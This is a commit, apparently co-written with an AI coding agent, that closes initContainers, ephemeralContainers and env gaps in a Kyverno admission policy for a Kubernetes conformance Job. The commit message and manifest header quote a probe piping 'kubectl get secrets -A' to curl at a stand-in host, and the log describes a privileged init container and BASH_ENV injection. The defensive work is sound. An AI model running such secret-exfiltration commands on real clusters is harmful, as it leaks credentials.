fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in DECISIONS-LOG. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
jakman85andClaude Opus 5 committed
1 parent
f81967228d
commit
44dbd44333
7 files changed
+949
-124
No files matched your search
@@ -5264,3 +5264,248 @@ review", that policy is not implemented anywhere in this repo. `CODEOWNERS`-styl
|
||||
or a `paths:`-scoped required check would be the mechanism; neither exists today.
|
||||
|
||||
The PR was **not merged** and nothing was worked around.
|
||||
|
||||
---
|
||||
|
||||
## 2026-09-29 (addendum to PR #20) — the `initContainers` hole is CLOSED, and so is `ephemeralContainers`
|
||||
|
||||
The coordinator reproduced the finding above independently, then **authorised the policy edit my
|
||||
brief had forbidden** — reversing it explicitly, on the grounds that the ban existed to stop the
|
||||
boundary being *bent to fit a Job*, not to stop a hole being closed. Their reproduction, which I
|
||||
had not tried: a `privileged: true` `docker.io/library/alpine:latest` initContainer running
|
||||
`kubectl get secrets -A`, `serviceAccountName: conformance-runner`, `containers[0]` fully
|
||||
compliant → `pass: 3, fail: 0`. **Admitted.** `=(privileged): "false"` in rule 1 only ever
|
||||
applied to `containers[0]`.
|
||||
|
||||
### What changed
|
||||
|
||||
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` gains two rules:
|
||||
|
||||
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
|
||||
must be on the digest-pinned `conformance-runner` image, `command:
|
||||
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
|
||||
false`, not privileged.
|
||||
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list, answering the
|
||||
question the coordinator asked. See the honesty note below.
|
||||
|
||||
Both use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least one**
|
||||
element matches", so a pattern-based init rule would have admitted the committed clone step
|
||||
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
|
||||
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
|
||||
|
||||
Two implementation traps worth recording:
|
||||
|
||||
- **`not_null()`, never `||`.** JMESPath treats `false` as falsy, so
|
||||
`element.securityContext.allowPrivilegeEscalation || `true`` rewrites the **compliant** value
|
||||
`false` into `true` and denies every good Job. Absence defaults must use
|
||||
`not_null(x, `default`)`.
|
||||
- **`join(' ', command)` compared as a string, not the array compared with `Equals`.** Kyverno's
|
||||
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
|
||||
`["/bin/sh","-c",…]` through on element 0.
|
||||
|
||||
### The clone script moved OUT of the Job — that is the actual fix
|
||||
|
||||
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
|
||||
a policy cannot distinguish the committed script from an attacker's, because both are just data.
|
||||
So the logic is now `conformance/incluster/conformance-clone`, which the runner image installs
|
||||
at `/usr/local/bin/conformance-clone` (mode 0755 — added to plan §5 step 1 as a hard requirement,
|
||||
and handed to the agent building that image; the `^[0-9a-f]{40}$` guard and the
|
||||
`rev-parse HEAD == SHA` assertion are the load-bearing parts and survived the move verbatim). The
|
||||
script stays in-repo and reviewable, which is the property the inline version was protecting. The
|
||||
Job's init container is now `command` + `env` and nothing else.
|
||||
|
||||
**One thing I changed while moving it, and it matters:** the repository URL is now **hardcoded in
|
||||
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
|
||||
nothing about `env`. Had the URL stayed in env, a trigger could point the clone at a repository it
|
||||
controls and have `containers[0]` execute that repo's `./run.sh` as `conformance-runner` — the
|
||||
same escalation, laundered through a field nobody constrains. **Do not move that URL back into
|
||||
env.** Constraining `env` in the policy is the remaining hardening step and is NOT done.
|
||||
|
||||
### Proven, not asserted (kyverno v1.19.0, pinned toolbox)
|
||||
|
||||
##### the real rendered template MUST PASS
|
||||
Applying 5 policy rule(s) to 1 resource(s)...
|
||||
pass: 5, fail: 0, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### the coordinator's exact probe MUST FAIL
|
||||
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
|
||||
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
##### same escalation via ephemeralContainers MUST FAIL
|
||||
1 - trigger-may-not-declare-ephemeral-containers ...
|
||||
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
|
||||
|
||||
Full fixture matrix from `kyverno apply --policy-report` (37 pass / 10 fail, 0 error, 0 skip):
|
||||
|
||||
| resource | may-create | volumes | args | initContainers | ephemeral |
|
||||
|---|---|---|---|---|---|
|
||||
| `real-template` | pass | pass | pass | **pass** | pass |
|
||||
| `good-run` | pass | pass | pass | — | pass |
|
||||
| `evil-command` | **fail** | pass | — | — | pass |
|
||||
| `evil-image` | **fail** | pass | — | — | pass |
|
||||
| `tag-not-digest` | **fail** | pass | — | — | pass |
|
||||
| `host-namespaces` | **fail** | pass | — | — | pass |
|
||||
| `extra-volume` | pass | **fail** | — | — | pass |
|
||||
| `injected-args` | pass | pass | **fail** | — | pass |
|
||||
| `evil-initcontainer` | pass | pass | pass | **fail** | pass |
|
||||
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass |
|
||||
| `second-initcontainer` | pass | pass | pass | **fail** | pass |
|
||||
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** |
|
||||
|
||||
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Note how every
|
||||
`evil-*` init/ephemeral case **passes the three original rules** — that is the whole finding in
|
||||
one column, and it is why the fixtures are worth more than the rules' prose.
|
||||
|
||||
### UNVERIFIED — the `ephemeralContainers` question, answered honestly
|
||||
|
||||
I could **not** confirm whether the API server would accept `ephemeralContainers` inside a Job's
|
||||
pod template. Upstream, the field is settable only through the `pods/ephemeralcontainers`
|
||||
subresource and `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to
|
||||
a pod **template** nested in a Job, and I did not find a definitive answer. Establishing it would
|
||||
need a `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the
|
||||
operator — so I did not run one. **The rule was added anyway:** it is a no-op if upstream already
|
||||
rejects the field, and it is the same hole again if it does not. "Probably rejected upstream" is
|
||||
not a boundary. If someone with cluster-write access wants to settle it, that is a one-command
|
||||
check; the rule should stay either way.
|
||||
|
||||
Still unverified, unchanged from the entry above: nothing here has executed, because the runner
|
||||
image does not exist — and it now has one more obligation to meet (`/usr/local/bin/conformance-clone`)
|
||||
before it can. If that path is missing or named differently, the init container fails to start;
|
||||
if it is present but the image is not the pinned digest, admission denies the Job.
|
||||
|
||||
### Process note, worth more than the policy fix
|
||||
|
||||
Both halves of this came from **probing rather than reading**. The hole was not visible in the
|
||||
policy's prose — which is careful, accurate about what it does constrain, and explicit that it is
|
||||
"THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. The `--userinfo`
|
||||
observation is the same shape: `kyverno apply` evaluates these rules with or without it, so a
|
||||
green CLI run is evidence about the patterns and **not** about the `subjects` filter that decides
|
||||
whether they apply at all. A policy is only as trustworthy as its negative fixtures.
|
||||
|
||||
---
|
||||
|
||||
## 2026-09-29 (second addendum to PR #20) — `env` was the same hole a third time; and the plan's phase-exit invocation cannot run
|
||||
|
||||
Three inputs arrived after the entry above: agent 1 shipped `/usr/local/bin/conformance-clone`
|
||||
in PR #18, the coordinator invited me to constrain `env`, and agent 1 measured which `args`
|
||||
shapes the image can actually execute. All three changed this branch.
|
||||
|
||||
### 1. I was shipping a DUPLICATE of a security-critical script — deleted
|
||||
|
||||
I wrote `conformance/incluster/conformance-clone.sh`; agent 1's PR #18 adds
|
||||
`conformance/incluster/conformance-clone`. Two copies of the clone entrypoint in one directory,
|
||||
one of them baked into the image and one of them not, is a guaranteed drift into "the reviewed
|
||||
file is not the file that runs". **Mine is deleted**; everything now references agent 1's path,
|
||||
which arrives with #18.
|
||||
|
||||
I read their version before deleting mine rather than assuming compatibility, and the interface
|
||||
my Job depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`;
|
||||
baked clone target `/workspace/src` (which is what makes my `workingDir:
|
||||
/workspace/src/conformance` correct); `TMPDIR`/`HOME` required to be under `/workspace`; and both
|
||||
load-bearing guards preserved — `^[0-9a-f]{40}$` on the SHA and `rev-parse HEAD == SHA` after
|
||||
checkout. Theirs is a superset: it also hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC`
|
||||
that disagrees with the baked values, rather than honouring it.
|
||||
|
||||
Worth recording that agent 1 reached the hardcoded-URL conclusion **independently and against an
|
||||
instruction to read those values from env** — the coordinator's instruction, which they then
|
||||
retracted. Two agents finding the same "the policy doesn't read this field, so trusting it just
|
||||
moves the injection" reasoning in the same afternoon is the signal that the field-enumeration gap
|
||||
was systemic, not a one-off.
|
||||
|
||||
### 2. `env` was unconstrained — now allowlisted (two more rules)
|
||||
|
||||
The coordinator left this to my judgement. I closed it, because it is provably the same bug:
|
||||
`command` and `args` are pinned, so injection moves to whatever adjacent field nobody
|
||||
enumerated, and **`BASH_ENV` alone is arbitrary code execution** — bash sources it before
|
||||
running a non-interactive script, and the runner's command IS a bash script.
|
||||
|
||||
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
|
||||
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
|
||||
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
|
||||
The init list iterates `initContainers[].env[]` flattened, so it keeps working if the
|
||||
at-most-one cap is ever relaxed.
|
||||
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
|
||||
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
|
||||
|
||||
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
|
||||
legitimately environment-specific, and `conformance-runner` can already read this namespace's
|
||||
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector
|
||||
that matters, because a name is what a program keys behaviour on.
|
||||
|
||||
Two Kyverno traps, both of which silently invert the result and are now commented in the rules:
|
||||
|
||||
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
|
||||
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant**
|
||||
value `false` into `true` and denies every good Job.
|
||||
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`: Kyverno's
|
||||
`Equals`/`NotEquals` are unreliable on arrays, and element-wise matching lets
|
||||
`["/bin/sh","-c",…]` through on element 0.
|
||||
|
||||
### 3. The committed `args` default was a shape that cannot run
|
||||
|
||||
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on
|
||||
the runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
|
||||
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
|
||||
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
|
||||
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()`
|
||||
then filters to `/l0-static/|/l1-rendering/`:
|
||||
|
||||
| args | offline selection | verdict |
|
||||
|---|---|---|
|
||||
| `--layer l2,l3` | empty | **RUNS** |
|
||||
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
|
||||
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
|
||||
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
|
||||
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
|
||||
|
||||
So `--layer` is mandatory and must name only l2/l3. **The committed default was
|
||||
`--layer all --strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More
|
||||
importantly: **the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A
|
||||
full-suite run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the
|
||||
manifest header and needs to land in `ci/conformance.sh` (plan §3 item 4).
|
||||
|
||||
I did **not** narrow the policy's args allowlist to match. A security boundary should not encode
|
||||
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
|
||||
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
|
||||
considered.
|
||||
|
||||
### Proven (kyverno v1.19.0, pinned toolbox, 7 rules now)
|
||||
|
||||
real rendered template -> pass: 7, fail: 0
|
||||
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
|
||||
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
|
||||
|
||||
Full fixture matrix — 65 pass / 13 fail / 0 error / 0 skip:
|
||||
|
||||
| resource | creat | vols | args | init | ephem | envnm | envfr |
|
||||
|---|---|---|---|---|---|---|---|
|
||||
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
|
||||
| `good-run` | pass | pass | pass | — | pass | — | pass |
|
||||
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
|
||||
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
|
||||
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
|
||||
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
|
||||
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
|
||||
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
|
||||
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
|
||||
|
||||
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
|
||||
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
|
||||
That is why the env rule had to be its own rule and not a condition bolted onto the init rule.
|
||||
|
||||
### UNVERIFIED, still
|
||||
|
||||
- Nothing has executed against a cluster. PR #18 must merge first (the image digest), and Secret
|
||||
`conformance-git-readonly` still does not exist.
|
||||
- Whether the API server accepts `ephemeralContainers` in a Job pod template — unchanged from the
|
||||
entry above; establishing it needs a mutating dry-run reserved to the operator.
|
||||
- The env allowlists are derived from what the two programs read TODAY. If `run.sh` or the clone
|
||||
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
|
||||
reviewed change. That is the intended failure direction, but it is a coupling the next person
|
||||
editing either script needs to know about, so it is called out in the rule's message.
|
||||
@@ -26,11 +26,21 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
||||
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
||||
audit item.
|
||||
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
|
||||
run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the
|
||||
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
|
||||
commit under test; artifacts leave over stdout. Its header is the authority on the
|
||||
substitution tokens, the admission constraints it satisfies, and **an open security gap
|
||||
in the admission policy that it documents and does not exploit** — read it before
|
||||
editing either file.
|
||||
substitution tokens and the admission constraints it satisfies, and records the
|
||||
`initContainers` hole that was found and closed alongside it — read it before editing
|
||||
either file.
|
||||
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
|
||||
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
|
||||
file in the image rather than an inline script in the Job precisely so admission can pin
|
||||
it: a policy cannot tell the committed script from an attacker's when both are just `args`
|
||||
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
|
||||
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
|
||||
honoured — a URL taken from env would let the trigger choose which repository's code runs
|
||||
as `conformance-runner`. This branch's Job depends on that interface:
|
||||
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
|
||||
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
|
||||
|
||||
## Flow
|
||||
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
|
||||
@@ -39,12 +49,13 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
||||
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
|
||||
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
|
||||
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
|
||||
3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit
|
||||
if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD`
|
||||
equals the requested SHA** — the suite runs at the commit under test or not at all. The
|
||||
read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret
|
||||
`conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows
|
||||
no volume but `workspace` and `results`.
|
||||
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
|
||||
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
|
||||
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
|
||||
the suite runs at the commit under test or not at all. The read-only Gitea credential
|
||||
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
|
||||
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
|
||||
`results`.
|
||||
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
|
||||
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
|
||||
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
|
||||
@@ -53,13 +64,20 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
||||
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
|
||||
of decoding to plausible garbage.
|
||||
|
||||
## Operator prerequisites (out of GitOps — neither exists yet)
|
||||
- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and
|
||||
## Prerequisites before this Job can run at all
|
||||
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
|
||||
`token`: a **read-only** Gitea token for this repository. Never a write token or a
|
||||
push-capable deploy key.
|
||||
- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the
|
||||
trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and
|
||||
a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin.
|
||||
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
|
||||
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
|
||||
before this template is usable; its digest is what the trigger substitutes. Contract the
|
||||
image MUST meet, because the Job and the admission policy both depend on it:
|
||||
- bash, git, python3, chainsaw and kubectl on `PATH`;
|
||||
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
|
||||
uid in the Containerfile means the Job will not start;
|
||||
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
|
||||
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
|
||||
that exact path, so an image without it cannot run the clone step and no other path will
|
||||
be admitted.
|
||||
|
||||
## Phase 0
|
||||
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
||||
|
||||
@@ -39,42 +39,70 @@
|
||||
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !!
|
||||
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
|
||||
# -----------------------------------------------------------------------------
|
||||
# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template,
|
||||
# replace ONLY the init container's `args` with
|
||||
# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/
|
||||
# and leave `containers[0]` untouched and compliant. Result:
|
||||
# Applying 3 policy rule(s) to 1 resource(s)...
|
||||
# pass: 3, fail: 0, warn: 0, error: 0, skip: 0
|
||||
# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's
|
||||
# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never
|
||||
# examined, so the exact escalation the policy exists to stop — the privileged
|
||||
# conformance-runner SA executing an arbitrary command — is still reachable, one field
|
||||
# over. This template's OWN init container does not exploit that; the gap is the policy's,
|
||||
# and it existed before this file had an init container at all.
|
||||
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
|
||||
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
|
||||
# never examined, so the exact escalation the policy exists to stop was reachable one
|
||||
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
|
||||
# compliant:
|
||||
#
|
||||
# * this template with ONLY the init container's args replaced by
|
||||
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
|
||||
# * and (the coordinator's independent reproduction) a `privileged: true`
|
||||
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
|
||||
#
|
||||
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
|
||||
#
|
||||
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||
#
|
||||
# Closed by new rules in that policy, authorised by the coordinator in this PR
|
||||
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
|
||||
# fit a Job, not to stop a hole being closed):
|
||||
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
|
||||
# container, on the digest-pinned runner image, `command:
|
||||
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
|
||||
# not privileged. The clone logic moved OUT of this manifest and into the image for
|
||||
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
|
||||
# script had to stop being caller-supplied data. It stays reviewable as
|
||||
# conformance/incluster/conformance-clone.
|
||||
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
|
||||
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
|
||||
# verified here, and the rule costs nothing if it is true.
|
||||
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
|
||||
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
|
||||
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
|
||||
# sources it before running a non-interactive script. Names are allowlisted per container;
|
||||
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
|
||||
# environment-specific, and conformance-runner can already read this namespace's Secrets
|
||||
# through its own RBAC, so pinning the source would buy nothing).
|
||||
#
|
||||
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
|
||||
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
|
||||
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
|
||||
# `envfrom-whole-secret` — so they stay failing.
|
||||
#
|
||||
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
|
||||
# committed shape" policy is only as good as its enumeration of every field that can carry
|
||||
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
|
||||
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
|
||||
# does, that is the finding, not an oversight to work around.
|
||||
#
|
||||
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
|
||||
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
|
||||
#
|
||||
# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs
|
||||
# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it.
|
||||
# FOLLOW-UP, in order of preference:
|
||||
# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and
|
||||
# add a 4th rule pinning `initContainers` to one container on the same digest-pinned
|
||||
# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an
|
||||
# init container carries no caller-supplied code at all and the rule is one pattern.
|
||||
# 2. Failing that, a rule denying any `initContainers` entry whose image is not the
|
||||
# pinned runner image — weaker (the script stays caller-supplied) but it at least
|
||||
# stops an arbitrary image running as conformance-runner.
|
||||
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
|
||||
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
|
||||
# -----------------------------------------------------------------------------
|
||||
# The placeholder syntax is deliberately NOT shell syntax. The init container below is a
|
||||
# bash script full of legitimate `${...}` references; running the template through
|
||||
# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving
|
||||
# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render
|
||||
# this". Render with a two-token sed, nothing cleverer:
|
||||
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
|
||||
